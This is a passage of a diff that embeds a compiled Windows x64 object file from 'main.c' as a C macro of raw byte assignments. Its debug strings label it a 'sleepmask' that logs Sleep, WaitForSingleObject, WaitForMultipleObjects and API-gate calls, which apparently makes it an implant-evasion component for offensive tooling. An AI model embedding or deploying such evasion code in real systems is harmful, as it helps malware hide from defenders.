(p)[1959]=0x10; \ + (p)[1960]=0x48; (p)[1961]=0x89; (p)[1962]=0x55; (p)[1963]=0x18; (p)[1964]=0x48; (p)[1965]=0x8B; (p)[1966]=0x45; (p)[1967]=0x18; \ + (p)[1968]=0x4C; (p)[1969]=0x8B; (p)[1970]=0x00; (p)[1971]=0x48; (p)[1972]=0x8B; (p)[1973]=0x45; (p)[1974]=0x18; (p)[1975]=0x8B; \ + (p)[1976]=0x50; (p)[1977]=0x0C; (p)[1978]=0x48; (p)[1979]=0x8B; (p)[1980]=0x45; (p)[1981]=0x18; (p)[1982]=0x8B; (p)[1983]=0x40; \ + (p)[1984]=0x08; (p)[1985]=0x48; (p)[1986]=0x8D; (p)[1987]=0x0D; (p)[1988]=0x78; (p)[1989]=0x00; (p)[1990]=0x00; (p)[1991]=0x00; \ + (p)[1992]=0x4D; (p)[1993]=0x89; (p)[1994]=0xC1; (p)[1995]=0x41; (p)[1996]=0x89; (p)[1997]=0xD0; (p)[1998]=0x89; (p)[1999]=0xC2; \ + (p)[2000]=0x48; (p)[2001]=0x8B; (p)[2002]=0x05; (p)[2003]=0x00; (p)[2004]=0x00; (p)[2005]=0x00; (p)[2006]=0x00; (p)[2007]=0xFF; \ + (p)[2008]=0xD0; (p)[2009]=0x48; (p)[2010]=0x8B; (p)[2011]=0x45; (p)[2012]=0x18; (p)[2013]=0x8B; (p)[2014]=0x40; (p)[2015]=0x08; \ + (p)[2016]=0x83; (p)[2017]=0xF8; (p)[2018]=0x04; (p)[2019]=0x74; (p)[2020]=0x45; (p)[2021]=0x83; (p)[2022]=0xF8; (p)[2023]=0x04; \ + (p)[2024]=0x77; (p)[2025]=0x4E; (p)[2026]=0x83; (p)[2027]=0xF8; (p)[2028]=0x03; (p)[2029]=0x74; (p)[2030]=0x2D; (p)[2031]=0x83; \ + (p)[2032]=0xF8; (p)[2033]=0x03; (p)[2034]=0x77; (p)[2035]=0x44; (p)[2036]=0x83; (p)[2037]=0xF8; (p)[2038]=0x01; (p)[2039]=0x74; \ + (p)[2040]=0x07; (p)[2041]=0x83; (p)[2042]=0xF8; (p)[2043]=0x02; (p)[2044]=0x74; (p)[2045]=0x10; (p)[2046]=0xEB; (p)[2047]=0x38; \ + (p)[2048]=0x48; (p)[2049]=0x8B; (p)[2050]=0x45; (p)[2051]=0x18; (p)[2052]=0x48; (p)[2053]=0x89; (p)[2054]=0xC1; (p)[2055]=0xE8; \ + (p)[2056]=0x20; (p)[2057]=0xF9; (p)[2058]=0xFF; (p)[2059]=0xFF; (p)[2060]=0xEB; (p)[2061]=0x37; (p)[2062]=0x48; (p)[2063]=0x8B; \ + (p)[2064]=0x45; (p)[2065]=0x18; (p)[2066]=0x48; (p)[2067]=0x89; (p)[2068]=0xC1; (p)[2069]=0xE8; (p)[2070]=0xB9; (p)[2071]=0xF9; \ + (p)[2072]=0xFF; (p)[2073]=0xFF; (p)[2074]=0xEB; (p)[2075]=0x29; (p)[2076]=0x48; (p)[2077]=0x8B; (p)[2078]=0x45; (p)[2079]=0x18; \ + (p)[2080]=0x48; (p)[2081]=0x89; (p)[2082]=0xC1; (p)[2083]=0xE8; (p)[2084]=0x2D; (p)[2085]=0xFA; (p)[2086]=0xFF; (p)[2087]=0xFF; \ + (p)[2088]=0xEB; (p)[2089]=0x1B; (p)[2090]=0x48; (p)[2091]=0x8B; (p)[2092]=0x45; (p)[2093]=0x18; (p)[2094]=0x48; (p)[2095]=0x89; \ + (p)[2096]=0xC1; (p)[2097]=0xE8; (p)[2098]=0xAA; (p)[2099]=0xFA; (p)[2100]=0xFF; (p)[2101]=0xFF; (p)[2102]=0xEB; (p)[2103]=0x0D; \ + (p)[2104]=0x48; (p)[2105]=0x8B; (p)[2106]=0x45; (p)[2107]=0x18; (p)[2108]=0x48; (p)[2109]=0x89; (p)[2110]=0xC1; (p)[2111]=0xE8; \ + (p)[2112]=0x10; (p)[2113]=0xFB; (p)[2114]=0xFF; (p)[2115]=0xFF; (p)[2116]=0x90; (p)[2117]=0x48; (p)[2118]=0x83; (p)[2119]=0xC4; \ + (p)[2120]=0x20; (p)[2121]=0x5D; (p)[2122]=0xC3; (p)[2123]=0x90; (p)[2124]=0x5B; (p)[2125]=0x73; (p)[2126]=0x6C; (p)[2127]=0x65; \ + (p)[2128]=0x65; (p)[2129]=0x70; (p)[2130]=0x6D; (p)[2131]=0x61; (p)[2132]=0x73; (p)[2133]=0x6B; (p)[2134]=0x5D; (p)[2135]=0x20; \ + (p)[2136]=0x53; (p)[2137]=0x6C; (p)[2138]=0x65; (p)[2139]=0x65; (p)[2140]=0x70; (p)[2141]=0x28; (p)[2142]=0x25; (p)[2143]=0x6C; \ + (p)[2144]=0x75; (p)[2145]=0x20; (p)[2146]=0x6D; (p)[2147]=0x73; (p)[2148]=0x29; (p)[2149]=0x0A; (p)[2150]=0x00; (p)[2151]=0x00; \ + (p)[2152]=0x00; (p)[2153]=0x00; (p)[2154]=0x00; (p)[2155]=0x00; (p)[2156]=0x5B; (p)[2157]=0x73; (p)[2158]=0x6C; (p)[2159]=0x65; \ + (p)[2160]=0x65; (p)[2161]=0x70; (p)[2162]=0x6D; (p)[2163]=0x61; (p)[2164]=0x73; (p)[2165]=0x6B; (p)[2166]=0x5D; (p)[2167]=0x20; \ + (p)[2168]=0x57; (p)[2169]=0x46; (p)[2170]=0x53; (p)[2171]=0x4F; (p)[2172]=0x28; (p)[2173]=0x68; (p)[2174]=0x61; (p)[2175]=0x6E; \ + (p)[2176]=0x64; (p)[2177]=0x6C; (p)[2178]=0x65; (p)[2179]=0x3D; (p)[2180]=0x25; (p)[2181]=0x70; (p)[2182]=0x20; (p)[2183]=0x6D; \ + (p)[2184]=0x73; (p)[2185]=0x3D; (p)[2186]=0x25; (p)[2187]=0x6C; (p)[2188]=0x75; (p)[2189]=0x29; (p)[2190]=0x0A; (p)[2191]=0x00; \ + (p)[2192]=0x00; (p)[2193]=0x00; (p)[2194]=0x00; (p)[2195]=0x00; (p)[2196]=0x5B; (p)[2197]=0x73; (p)[2198]=0x6C; (p)[2199]=0x65; \ + (p)[2200]=0x65; (p)[2201]=0x70; (p)[2202]=0x6D; (p)[2203]=0x61; (p)[2204]=0x73; (p)[2205]=0x6B; (p)[2206]=0x5D; (p)[2207]=0x20; \ + (p)[2208]=0x57; (p)[2209]=0x46; (p)[2210]=0x4D; (p)[2211]=0x4F; (p)[2212]=0x28; (p)[2213]=0x6E; (p)[2214]=0x3D; (p)[2215]=0x25; \ + (p)[2216]=0x6C; (p)[2217]=0x75; (p)[2218]=0x20; (p)[2219]=0x77; (p)[2220]=0x61; (p)[2221]=0x69; (p)[2222]=0x74; (p)[2223]=0x41; \ + (p)[2224]=0x6C; (p)[2225]=0x6C; (p)[2226]=0x3D; (p)[2227]=0x25; (p)[2228]=0x64; (p)[2229]=0x20; (p)[2230]=0x6D; (p)[2231]=0x73; \ + (p)[2232]=0x3D; (p)[2233]=0x25; (p)[2234]=0x6C; (p)[2235]=0x75; (p)[2236]=0x29; (p)[2237]=0x0A; (p)[2238]=0x00; (p)[2239]=0x00; \ + (p)[2240]=0x00; (p)[2241]=0x00; (p)[2242]=0x00; (p)[2243]=0x00; (p)[2244]=0x5B; (p)[2245]=0x73; (p)[2246]=0x6C; (p)[2247]=0x65; \ + (p)[2248]=0x65; (p)[2249]=0x70; (p)[2250]=0x6D; (p)[2251]=0x61; (p)[2252]=0x73; (p)[2253]=0x6B; (p)[2254]=0x5D; (p)[2255]=0x20; \ + (p)[2256]=0x47; (p)[2257]=0x61; (p)[2258]=0x74; (p)[2259]=0x65; (p)[2260]=0x41; (p)[2261]=0x70; (p)[2262]=0x69; (p)[2263]=0x3D; \ + (p)[2264]=0x30; (p)[2265]=0x78; (p)[2266]=0x25; (p)[2267]=0x30; (p)[2268]=0x32; (p)[2269]=0x78; (p)[2270]=0x20; (p)[2271]=0x4E; \ + (p)[2272]=0x75; (p)[2273]=0x6D; (p)[2274]=0x41; (p)[2275]=0x72; (p)[2276]=0x67; (p)[2277]=0x73; (p)[2278]=0x3D; (p)[2279]=0x25; \ + (p)[2280]=0x6C; (p)[2281]=0x75; (p)[2282]=0x20; (p)[2283]=0x46; (p)[2284]=0x75; (p)[2285]=0x6E; (p)[2286]=0x63; (p)[2287]=0x74; \ + (p)[2288]=0x69; (p)[2289]=0x6F; (p)[2290]=0x6E; (p)[2291]=0x50; (p)[2292]=0x74; (p)[2293]=0x72; (p)[2294]=0x3D; (p)[2295]=0x25; \ + (p)[2296]=0x70; (p)[2297]=0x0A; (p)[2298]=0x00; (p)[2299]=0x00; (p)[2300]=0x01; (p)[2301]=0x08; (p)[2302]=0x03; (p)[2303]=0x05; \ + (p)[2304]=0x08; (p)[2305]=0x92; (p)[2306]=0x04; (p)[2307]=0x03; (p)[2308]=0x01; (p)[2309]=0x50; (p)[2310]=0x00; (p)[2311]=0x00; \ + (p)[2312]=0x01; (p)[2313]=0x08; (p)[2314]=0x03; (p)[2315]=0x05; (p)[2316]=0x08; (p)[2317]=0x72; (p)[2318]=0x04; (p)[2319]=0x03; \ + (p)[2320]=0x01; (p)[2321]=0x50; (p)[2322]=0x00; (p)[2323]=0x00; (p)[2324]=0x01; (p)[2325]=0x08; (p)[2326]=0x03; (p)[2327]=0x05; \ + (p)[2328]=0x08; (p)[2329]=0x52; (p)[2330]=0x04; (p)[2331]=0x03; (p)[2332]=0x01; (p)[2333]=0x50; (p)[2334]=0x00; (p)[2335]=0x00; \ + (p)[2336]=0x01; (p)[2337]=0x08; (p)[2338]=0x03; (p)[2339]=0x05; (p)[2340]=0x08; (p)[2341]=0x92; (p)[2342]=0x04; (p)[2343]=0x03; \ + (p)[2344]=0x01; (p)[2345]=0x50; (p)[2346]=0x00; (p)[2347]=0x00; (p)[2348]=0x01; (p)[2349]=0x0F; (p)[2350]=0x07; (p)[2351]=0x55; \ + (p)[2352]=0x0F; (p)[2353]=0x03; (p)[2354]=0x0A; (p)[2355]=0x92; (p)[2356]=0x06; (p)[2357]=0x30; (p)[2358]=0x05; (p)[2359]=0x60; \ + (p)[2360]=0x04; (p)[2361]=0x70; (p)[2362]=0x03; (p)[2363]=0xC0; (p)[2364]=0x01; (p)[2365]=0x50; (p)[2366]=0x00; (p)[2367]=0x00; \ + (p)[2368]=0x01; (p)[2369]=0x08; (p)[2370]=0x03; (p)[2371]=0x05; (p)[2372]=0x08; (p)[2373]=0x32; (p)[2374]=0x04; (p)[2375]=0x03; \ + (p)[2376]=0x01; (p)[2377]=0x50; (p)[2378]=0x00; (p)[2379]=0x00; (p)[2380]=0x00; (p)[2381]=0x00; (p)[2382]=0x00; (p)[2383]=0x00; \ + (p)[2384]=0xA7; (p)[2385]=0x00; (p)[2386]=0x00; (p)[2387]=0x00; (p)[2388]=0x00; (p)[2389]=0x00; (p)[2390]=0x00; (p)[2391]=0x00; \ + (p)[2392]=0xA7; (p)[2393]=0x00; (p)[2394]=0x00; (p)[2395]=0x00; (p)[2396]=0x29; (p)[2397]=0x01; (p)[2398]=0x00; (p)[2399]=0x00; \ + (p)[2400]=0x0C; (p)[2401]=0x00; (p)[2402]=0x00; (p)[2403]=0x00; (p)[2404]=0x29; (p)[2405]=0x01; (p)[2406]=0x00; (p)[2407]=0x00; \ + (p)[2408]=0xB4; (p)[2409]=0x01; (p)[2410]=0x00; (p)[2411]=0x00; (p)[2412]=0x18; (p)[2413]=0x00; (p)[2414]=0x00; (p)[2415]=0x00; \ + (p)[2416]=0xB4; (p)[2417]=0x01; (p)[2418]=0x00; (p)[2419]=0x00; (p)[2420]=0x28; (p)[2421]=0x02; (p)[2422]=0x00; (p)[2423]=0x00; \ + (p)[2424]=0x24; (p)[2425]=0x00; (p)[2426]=0x00; (p)[2427]=0x00; (p)[2428]=0x28; (p)[2429]=0x02; (p)[2430]=0x00; (p)[2431]=0x00; \ + (p)[2432]=0x6F; (p)[2433]=0x06; (p)[2434]=0x00; (p)[2435]=0x00; (p)[2436]=0x30; (p)[2437]=0x00; (p)[2438]=0x00; (p)[2439]=0x00; \ + (p)[2440]=0x70; (p)[2441]=0x06; (p)[2442]=0x00; (p)[2443]=0x00; (p)[2444]=0x1F; (p)[2445]=0x07; (p)[2446]=0x00; (p)[2447]=0x00; \ + (p)[2448]=0x44; (p)[2449]=0x00; (p)[2450]=0x00; (p)[2451]=0x00; (p)[2452]=0x47; (p)[2453]=0x43; (p)[2454]=0x43; (p)[2455]=0x3A; \ + (p)[2456]=0x20; (p)[2457]=0x28; (p)[2458]=0x47; (p)[2459]=0x4E; (p)[2460]=0x55; (p)[2461]=0x29; (p)[2462]=0x20; (p)[2463]=0x31; \ + (p)[2464]=0x35; (p)[2465]=0x2D; (p)[2466]=0x77; (p)[2467]=0x69; (p)[2468]=0x6E; (p)[2469]=0x33; (p)[2470]=0x32; (p)[2471]=0x00; \ + (p)[2472]=0x00; (p)[2473]=0x00; (p)[2474]=0x00; (p)[2475]=0x00; (p)[2476]=0x00; (p)[2477]=0x00; (p)[2478]=0x00; (p)[2479]=0x00; \ + (p)[2480]=0x00; (p)[2481]=0x00; (p)[2482]=0x00; (p)[2483]=0x00; (p)[2484]=0x1D; (p)[2485]=0x00; (p)[2486]=0x00; (p)[2487]=0x00; \ + (p)[2488]=0x14; (p)[2489]=0x00; (p)[2490]=0x00; (p)[2491]=0x00; (p)[2492]=0x04; (p)[2493]=0x00; (p)[2494]=0x26; (p)[2495]=0x00; \ + (p)[2496]=0x00; (p)[2497]=0x00; (p)[2498]=0x1C; (p)[2499]=0x00; (p)[2500]=0x00; (p)[2501]=0x00; (p)[2502]=0x04; (p)[2503]=0x00; \ + (p)[2504]=0x57; (p)[2505]=0x00; (p)[2506]=0x00; (p)[2507]=0x00; (p)[2508]=0x1D; (p)[2509]=0x00; (p)[2510]=0x00; (p)[2511]=0x00; \ + (p)[2512]=0x04; (p)[2513]=0x00; (p)[2514]=0x8A; (p)[2515]=0x00; (p)[2516]=0x00; (p)[2517]=0x00; (p)[2518]=0x1E; (p)[2519]=0x00; \ + (p)[2520]=0x00; (p)[2521]=0x00; (p)[2522]=0x04; (p)[2523]=0x00; (p)[2524]=0x9A; (p)[2525]=0x00; (p)[2526]=0x00; (p)[2527]=0x00; \ + (p)[2528]=0x1F; (p)[2529]=0x00; (p)[2530]=0x00; (p)[2531]=0x00; (p)[2532]=0x04; (p)[2533]=0x00; (p)[2534]=0xD4; (p)[2535]=0x00; \ + (p)[2536]=0x00; (p)[2537]=0x00; (p)[2538]=0x14; (p)[2539]=0x00; (p)[2540]=0x00; (p)[2541]=0x00; (p)[2542]=0x04; (p)[2543]=0x00; \ + (p)[2544]=0xE1; (p)[2545]=0x00; (p)[2546]=0x00; (p)[2547]=0x00; (p)[2548]=0x1C; (p)[2549]=0x00; (p)[2550]=0x00; (p)[2551]=0x00; \ + (p)[2552]=0x04; (p)[2553]=0x00; (p)[2554]=0x0B; (p)[2555]=0x01; (p)[2556]=0x00; (p)[2557]=0x00; (p)[2558]=0x1E; (p)[2559]=0x00; \ + (p)[2560]=0x00; (p)[2561]=0x00; (p)[2562]=0x04; (p)[2563]=0x00; (p)[2564]=0x5B; (p)[2565]=0x01; (p)[2566]=0x00; (p)[2567]=0x00; \ + (p)[2568]=0x14; (p)[2569]=0x00; (p)[2570]=0x00; (p)[2571]=0x00; (p)[2572]=0x04; (p)[2573]=0x00; (p)[2574]=0x6A; (p)[2575]=0x01; \ + (p)[2576]=0x00; (p)[2577]=0x00; (p)[2578]=0x1C; (p)[2579]=0x00; (p)[2580]=0x00; (p)[2581]=0x00; (p)[2582]=0x04; (p)[2583]=0x00; \ + (p)[2584]=0x99; (p)[2585]=0x01; (p)[2586]=0x00; (p)[2587]=0x00; (p)[2588]=0x20; (p)[2589]=0x00; (p)[2590]=0x00; (p)[2591]=0x00; \ + (p)[2592]=0x04; (p)[2593]=0x00; (p)[2594]=0x0A; (p)[2595]=0x02; (p)[2596]=0x00; (p)[2597]=0x00; (p)[2598]=0x21; (p)[2599]=0x00; \ + (p)[2600]=0x00; (p)[2601]=0x00; (p)[2602]=0x04; (p)[2603]=0x00; (p)[2604]=0x98; (p)[2605]=0x06; (p)[2606]=0x00; (p)[2607]=0x00; \ + (p)[2608]=0x14; (p)[2609]=0x00; (p)[2610]=0x00; (p)[2611]=0x00; (p)[2612]=0x04; (p)[2613]=0x00; (p)[2614]=0xA7; (p)[2615]=0x06; \ + (p)[2616]=0x00; (p)[2617]=0x00; (p)[2618]=0x1C; (p)[2619]=0x00; (p)[2620]=0x00; (p)[2621]=0x00; (p)[2622]=0x04; (p)[2623]=0x00; \ + (p)[2624]=0x00; (p)[2625]=0x00; (p)[2626]=0x00; (p)[2627]=0x00; (p)[2628]=0x0E; (p)[2629]=0x00; (p)[2630]=0x00; (p)[2631]=0x00; \ + (p)[2632]=0x03; (p)[2633]=0x00; (p)[2634]=0x04; (p)[2635]=0x00; (p)[2636]=0x00; (p)[2637]=0x00; (p)[2638]=0x0E; (p)[2639]=0x00; \ + (p)[2640]=0x00; (p)[2641]=0x00; (p)[2642]=0x03; (p)[2643]=0x00; (p)[2644]=0x08; (p)[2645]=0x00; (p)[2646]=0x00; (p)[2647]=0x00; \ + (p)[2648]=0x16; (p)[2649]=0x00; (p)[2650]=0x00; (p)[2651]=0x00; (p)[2652]=0x03; (p)[2653]=0x00; (p)[2654]=0x0C; (p)[2655]=0x00; \ + (p)[2656]=0x00; (p)[2657]=0x00; (p)[2658]=0x0E; (p)[2659]=0x00; (p)[2660]=0x00; (p)[2661]=0x00; (p)[2662]=0x03; (p)[2663]=0x00; \ + (p)[2664]=0x10; (p)[2665]=0x00; (p)[2666]=0x00; (p)[2667]=0x00; (p)[2668]=0x0E; (p)[2669]=0x00; (p)[2670]=0x00; (p)[2671]=0x00; \ + (p)[2672]=0x03; (p)[2673]=0x00; (p)[2674]=0x14; (p)[2675]=0x00; (p)[2676]=0x00; (p)[2677]=0x00; (p)[2678]=0x16; (p)[2679]=0x00; \ + (p)[2680]=0x00; (p)[2681]=0x00; (p)[2682]=0x03; (p)[2683]=0x00; (p)[2684]=0x18; (p)[2685]=0x00; (p)[2686]=0x00; (p)[2687]=0x00; \ + (p)[2688]=0x0E; (p)[2689]=0x00; (p)[2690]=0x00; (p)[2691]=0x00; (p)[2692]=0x03; (p)[2693]=0x00; (p)[2694]=0x1C; (p)[2695]=0x00; \ + (p)[2696]=0x00; (p)[2697]=0x00; (p)[2698]=0x0E; (p)[2699]=0x00; (p)[2700]=0x00; (p)[2701]=0x00; (p)[2702]=0x03; (p)[2703]=0x00; \ + (p)[2704]=0x20; (p)[2705]=0x00; (p)[2706]=0x00; (p)[2707]=0x00; (p)[2708]=0x16; (p)[2709]=0x00; (p)[2710]=0x00; (p)[2711]=0x00; \ + (p)[2712]=0x03; (p)[2713]=0x00; (p)[2714]=0x24; (p)[2715]=0x00; (p)[2716]=0x00; (p)[2717]=0x00; (p)[2718]=0x0E; (p)[2719]=0x00; \ + (p)[2720]=0x00; (p)[2721]=0x00; (p)[2722]=0x03; (p)[2723]=0x00; (p)[2724]=0x28; (p)[2725]=0x00; (p)[2726]=0x00; (p)[2727]=0x00; \ + (p)[2728]=0x0E; (p)[2729]=0x00; (p)[2730]=0x00; (p)[2731]=0x00; (p)[2732]=0x03; (p)[2733]=0x00; (p)[2734]=0x2C; (p)[2735]=0x00; \ + (p)[2736]=0x00; (p)[2737]=0x00; (p)[2738]=0x16; (p)[2739]=0x00; (p)[2740]=0x00; (p)[2741]=0x00; (p)[2742]=0x03; (p)[2743]=0x00; \ + (p)[2744]=0x30; (p)[2745]=0x00; (p)[2746]=0x00; (p)[2747]=0x00; (p)[2748]=0x0E; (p)[2749]=0x00; (p)[2750]=0x00; (p)[2751]=0x00; \ + (p)[2752]=0x03; (p)[2753]=0x00; (p)[2754]=0x34; (p)[2755]=0x00; (p)[2756]=0x00; (p)[2757]=0x00; (p)[2758]=0x0E; (p)[2759]=0x00; \ + (p)[2760]=0x00; (p)[2761]=0x00; (p)[2762]=0x03; (p)[2763]=0x00; (p)[2764]=0x38; (p)[2765]=0x00; (p)[2766]=0x00; (p)[2767]=0x00; \ + (p)[2768]=0x16; (p)[2769]=0x00; (p)[2770]=0x00; (p)[2771]=0x00; (p)[2772]=0x03; (p)[2773]=0x00; (p)[2774]=0x3C; (p)[2775]=0x00; \ + (p)[2776]=0x00; (p)[2777]=0x00; (p)[2778]=0x0E; (p)[2779]=0x00; (p)[2780]=0x00; (p)[2781]=0x00; (p)[2782]=0x03; (p)[2783]=0x00; \ + (p)[2784]=0x40; (p)[2785]=0x00; (p)[2786]=0x00; (p)[2787]=0x00; (p)[2788]=0x0E; (p)[2789]=0x00; (p)[2790]=0x00; (p)[2791]=0x00; \ + (p)[2792]=0x03; (p)[2793]=0x00; (p)[2794]=0x44; (p)[2795]=0x00; (p)[2796]=0x00; (p)[2797]=0x00; (p)[2798]=0x16; (p)[2799]=0x00; \ + (p)[2800]=0x00; (p)[2801]=0x00; (p)[2802]=0x03; (p)[2803]=0x00; (p)[2804]=0x2E; (p)[2805]=0x66; (p)[2806]=0x69; (p)[2807]=0x6C; \ + (p)[2808]=0x65; (p)[2809]=0x00; (p)[2810]=0x00; (p)[2811]=0x00; (p)[2812]=0x00; (p)[2813]=0x00; (p)[2814]=0x00; (p)[2815]=0x00; \ + (p)[2816]=0xFE; (p)[2817]=0xFF; (p)[2818]=0x00; (p)[2819]=0x00; (p)[2820]=0x67; (p)[2821]=0x01; (p)[2822]=0x6D; (p)[2823]=0x61; \ + (p)[2824]=0x69; (p)[2825]=0x6E; (p)[2826]=0x2E; (p)[2827]=0x63; (p)[2828]=0x00; (p)[2829]=0x00; (p)[2830]=0x00; (p)[2831]=0x00; \ + (p)[2832]=0x00; (p)[2833]=0x00; (p)[2834]=0x00; (p)[2835]=0x00; (p)[2836]=0x00; (p)[2837]=0x00; (p)[2838]=0x00; (p)[2839]=0x00; \ + (p)[2840]=0x00; (p)[2841]=0x00; (p)[2842]=0x00; (p)[2843]=0x00; (p)[2844]=0x0F; (p)[2845]=0x00; (p)[2846]=0x00; (p)[2847]=0x00; \ + (p)[2848]=0x00; (p)[2849]=0x00; (p)[2850]=0x00; (p)[2851]=0x00; (p)[2852]=0x01; (p)[2853]=0x00; (p)[2854]=0x20; (p)[2855]=0x00; \ + (p)[2856]=0x03; (p)[2857]=0x01; (p)[2858]=0x00; (p)[2859]=0x00; (p)[2860]=0x00; (p)[2861]=0x00; (p)[2862]=0x00; (p)[2863]=0x00; \ + (p)[2864]=0x00; (p)[2865]=0x00; (p)[2866]=0x00; (p)[2867]=0x00; (p)[2868]=0x00; (p)[2869]=0x00; (p)[2870]=0x04; (p)[2871]=0x00; \ + (p)[2872]=0x00; (p)[2873]=0x00; (p)[2874]=0x00; (p)[2875]=0x00; (p)[2876]=0x00; (p)[2877]=0x00; (p)[2878]=0x00; (p)[2879]=0x00; \ + (p)[2880]=0x1B; (p)[2881]=0x00; (p)[2882]=0x00; (p)[2883]=0x00; (p)[2884]=0xA7; (p)[2885]=0x00; (p)[2886]=0x00; (p)[2887]=0x00; \ + (p)[2888]=0x01; (p)[2889]=0x00; (p)[2890]=0x20; (p)[2891]=0x00; (p)[2892]=0x03; (p)[2893]=0x01; (p)[2894]=0x00; (p)[2895]=0x00; \ + (p)[2896]=0x00; (p)[2897]=0x00; (p)[2898]=0x00; (p)[2899]=0x00; (p)[2900]=0x00; (p)[2901]=0x00; (p)[2902]=0x00; (p)[2903]=0x00; \ + (p)[2904]=0x00; (p)[2905]=0x00; (p)[2906]=0x06; (p)[2907]=0x00; (p)[2908]=0x00; (p)[2909]=0x00; (p)[2910]=0x00; (p)[2911]=0x00; \ + (p)[2912]=0x00; (p)[2913]=0x00; (p)[2914]=0x00; (p)[2915]=0x00; (p)[2916]=0x35; (p)[2917]=0x00; (p)[2918]=0x00; (p)[2919]=0x00; \ + (p)[2920]=0x29; (p)[2921]=0x01; (p)[2922]=0x00; (p)[2923]=0x00; (p)[2924]=0x01; (p)[2925]=0x00; (p)[2926]=0x20; (p)[2927]=0x00; \ + (p)[2928]=0x03; (p)[2929]=0x01; (p)[2930]=0x00; (p)[2931]=0x00; (p)[2932]=0x00; (p)[2933]=0x00; (p)[2934]=0x00; (p)[2935]=0x00; \ + (p)[2936]=0x00; (p)[2937]=0x00; (p)[2938]=0x00; (p)[2939]=0x00; (p)[2940]=0x00; (p)[2941]=0x00; (p)[2942]=0x08; (p)[2943]=0x00; \ + (p)[2944]=0x00; (p)[2945]=0x00; (p)[2946]=0x00; (p)[2947]=0x00; (p)[2948]=0x00; (p)[2949]=0x00; (p)[2950]=0x00; (p)[2951]=0x00; \ + (p)[2952]=0x52; (p)[2953]=0x00; (p)[2954]=0x00; (p)[2955]=0x00; (p)[2956]=0xB4; (p)[2957]=0x01; (p)[2958]=0x00; (p)[2959]=0x00; \ + (p)[2960]=0x01; (p)[2961]=0x00; (p)[2962]=0x20; (p)[2963]=0x00; (p)[2964]=0x03; (p)[2965]=0x01; (p)[2966]=0x00; (p)[2967]=0x00; \ + (p)[2968]=0x00; (p)[2969]=0x00; (p)[2970]=0x00; (p)[2971]=0x00; (p)[2972]=0x00; (p)[2973]=0x00; (p)[2974]=0x00; (p)[2975]=0x00; \ + (p)[2976]=0x00; (p)[2977]=0x00; (p)[2978]=0x0A; (p)[2979]=0x00; (p)[2980]=0x00; (p)[2981]=0x00; (p)[2982]=0x00; (p)[2983]=0x00; \ + (p)[2984]=0x00; (p)[2985]=0x00; (p)[2986]=0x00; (p)[2987]=0x00; (p)[2988]=0x67; (p)[2989]=0x00; (p)[2990]=0x00; (p)[2991]=0x00; \ + (p)[2992]=0x28; (p)[2993]=0x02; (p)[2994]=0x00; (p)[2995]=0x00; (p)[2996]=0x01; (p)[2997]=0x00; (p)[2998]=0x20; (p)[2999]=0x00; \ + (p)[3000]=0x03; (p)[3001]=0x01; (p)[3002]=0x00; (p)[3003]=0x00; (p)[3004]=0x00; (p)[3005]=0x00; (p)[3006]=0x00; (p)[3007]=0x00; \ + (p)[3008]=0x00; (p)[3009]=0x00; (p)[3010]=0x00; (p)[3011]=0x00; (p)[3012]=0x00; (p)[3013]=0x00; (p)[3014]=0x0C; (p)[3015]=0x00; \ + (p)[3016]=0x00; (p)[3017]=0x00; (p)[3018]=0x00; (p)[3019]=0x00; (p)[3020]=0x00; (p)[3021]=0x00; (p)[3022]=0x00; (p)[3023]=0x00; \ + (p)[3024]=0x75; (p)[3025]=0x00; (p)[3026]=0x00; (p)[3027]=0x00; (p)[3028]=0x70; (p)[3029]=0x06; (p)[3030]=0x00; (p)[3031]=0x00; \ + (p)[3032]=0x01; (p)[3033]=0x00; (p)[3034]=0x20; (p)[3035]=0x00; (p)[3036]=0x02; (p)[3037]=0x01; (p)[3038]=0x00; (p)[3039]=0x00; \ + (p)[3040]=0x00; (p)[3041]=0x00; (p)[3042]=0x00; (p)[3043]=0x00; (p)[3044]=0x00; (p)[3045]=0x00; (p)[3046]=0x00; (p)[3047]=0x00; \ + (p)[3048]=0x00; (p)[3049]=0x00; (p)[3050]=0x00; (p)[3051]=0x00; (p)[3052]=0x00; (p)[3053]=0x00; (p)[3054]=0x00; (p)[3055]=0x00; \ + (p)[3056]=0x2E; (p)[3057]=0x74; (p)[3058]=0x65; (p)[3059]=0x78; (p)[3060]=0x74; (p)[3061]=0x00; (p)[3062]=0x00; (p)[3063]=0x00; \ + (p)[3064]=0x00; (p)[3065]=0x00; (p)[3066]=0x00; (p)[3067]=0x00; (p)[3068]=0x01; (p)[3069]=0x00; (p)[3070]=0x00; (p)[3071]=0x00; \ + (p)[3072]=0x03; (p)[3073]=0x01; (p)[3074]=0x1F; (p)[3075]=0x07; (p)[3076]=0x00; (p)[3077]=0x00; (p)[3078]=0x0E; (p)[3079]=0x00; \ + (p)[3080]=0x00; (p)[3081]=0x00; (p)[3082]=0x00; (p)[3083]=0x00; (p)[3084]=0x00; (p)[3085]=0x00; (p)[3086]=0x00; (p)[3087]=0x00; \ + (p)[3088]=0x00; (p)[3089]=0x00; (p)[3090]=0x00; (p)[3091]=0x00; (p)[3092]=0x2E; (p)[3093]=0x64; (p)[3094]=0x61; (p)[3095]=0x74; \ + (p)[3096]=0x61; (p)[3097]=0x00; (p)[3098]=0x00; (p)[3099]=0x00; (p)[3100]=0x00; (p)[3101]=0x00; (p)[3102]=0x00; (p)[3103]=0x00; \ + (p)[3104]=0x02; (p)[3105]=0x00; (p)[3106]=0x00; (p)[3107]=0x00; (p)[3108]=0x03; (p)[3109]=0x01; (p)[3110]=0x00; (p)[3111]=0x00; \ + (p)[3112]=0x00; (p)[3113]=0x00; (p)[3114]=0x00; (p)[3115]=0x00; (p)[3116]=0x00; (p)[3117]=0x00; (p)[3118]=0x00; (p)[3119]=0x00; \ + (p)[3120]=0x00; (p)[3121]=0x00; (p)[3122]=0x00; (p)[3123]=0x00; (p)[3124]=0x00; (p)[3125]=0x00; (p)[3126]=0x00; (p)[3127]=0x00; \ + (p)[3128]=0x2E; (p)[3129]=0x62; (p)[3130]=0x73; (p)[3131]=0x73; (p)[3132]=0x00; (p)[3133]=0x00; (p)[3134]=0x00; (p)[3135]=0x00; \ + (p)[3136]=0x00; (p)[3137]=0x00; (p)[3138]=0x00; (p)[3139]=0x00; (p)[3140]=0x03; (p)[3141]=0x00; (p)[3142]=0x00; (p)[3143]=0x00; \ + (p)[3144]=0x03; (p)[3145]=0x01; (p)[3146]=0x00; (p)[3147]=0x00; (p)[3148]=0x00; (p)[3149]=0x00; (p)[3150]=0x00; (p)[3151]=0x00; \ + (p)[3152]=0x00; (p)[3153]=0x00; (p)[3154]=0x00; 